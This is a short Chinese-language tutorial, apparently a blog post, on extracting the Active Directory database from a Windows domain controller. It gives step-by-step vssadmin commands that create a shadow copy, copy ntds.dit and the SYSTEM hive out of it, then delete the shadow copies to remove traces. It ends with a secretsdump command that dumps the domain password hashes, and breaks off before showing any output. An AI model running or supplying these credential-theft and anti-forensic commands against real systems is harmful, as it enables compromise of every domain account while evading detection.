域控上获取Ntds.dit并解密

　　利用Vssadmin程序， 域环境默认安装(支持Server2008、2012)

　　1、先查询当前系统的快照：vssadmin list shadows    命令执行完后显示大致如下

 　　2、创建快照：vssadmin create shadow /for=c:

　　3、然后复制Ntds.dit文件下来到C盘根目录下

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\ntds.dit

　　4、解密需要用到system文件，所以也需要把这个文件导出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\System32\config\SYSTEM C:\system.hive

　　5、删除快照删除痕迹：vssadmin delete shadows /for=c: /quiet

　　6、回过头到第一步，再查看一下当前系统快照，发现没了

　　7、解密Ntds.dit文件，这里使用secretsdump.exe进行解密

　　secretsdump.exe -system system.hive -ntds ntds.dit LOCAL >ntds.txt

　　解密内容如下：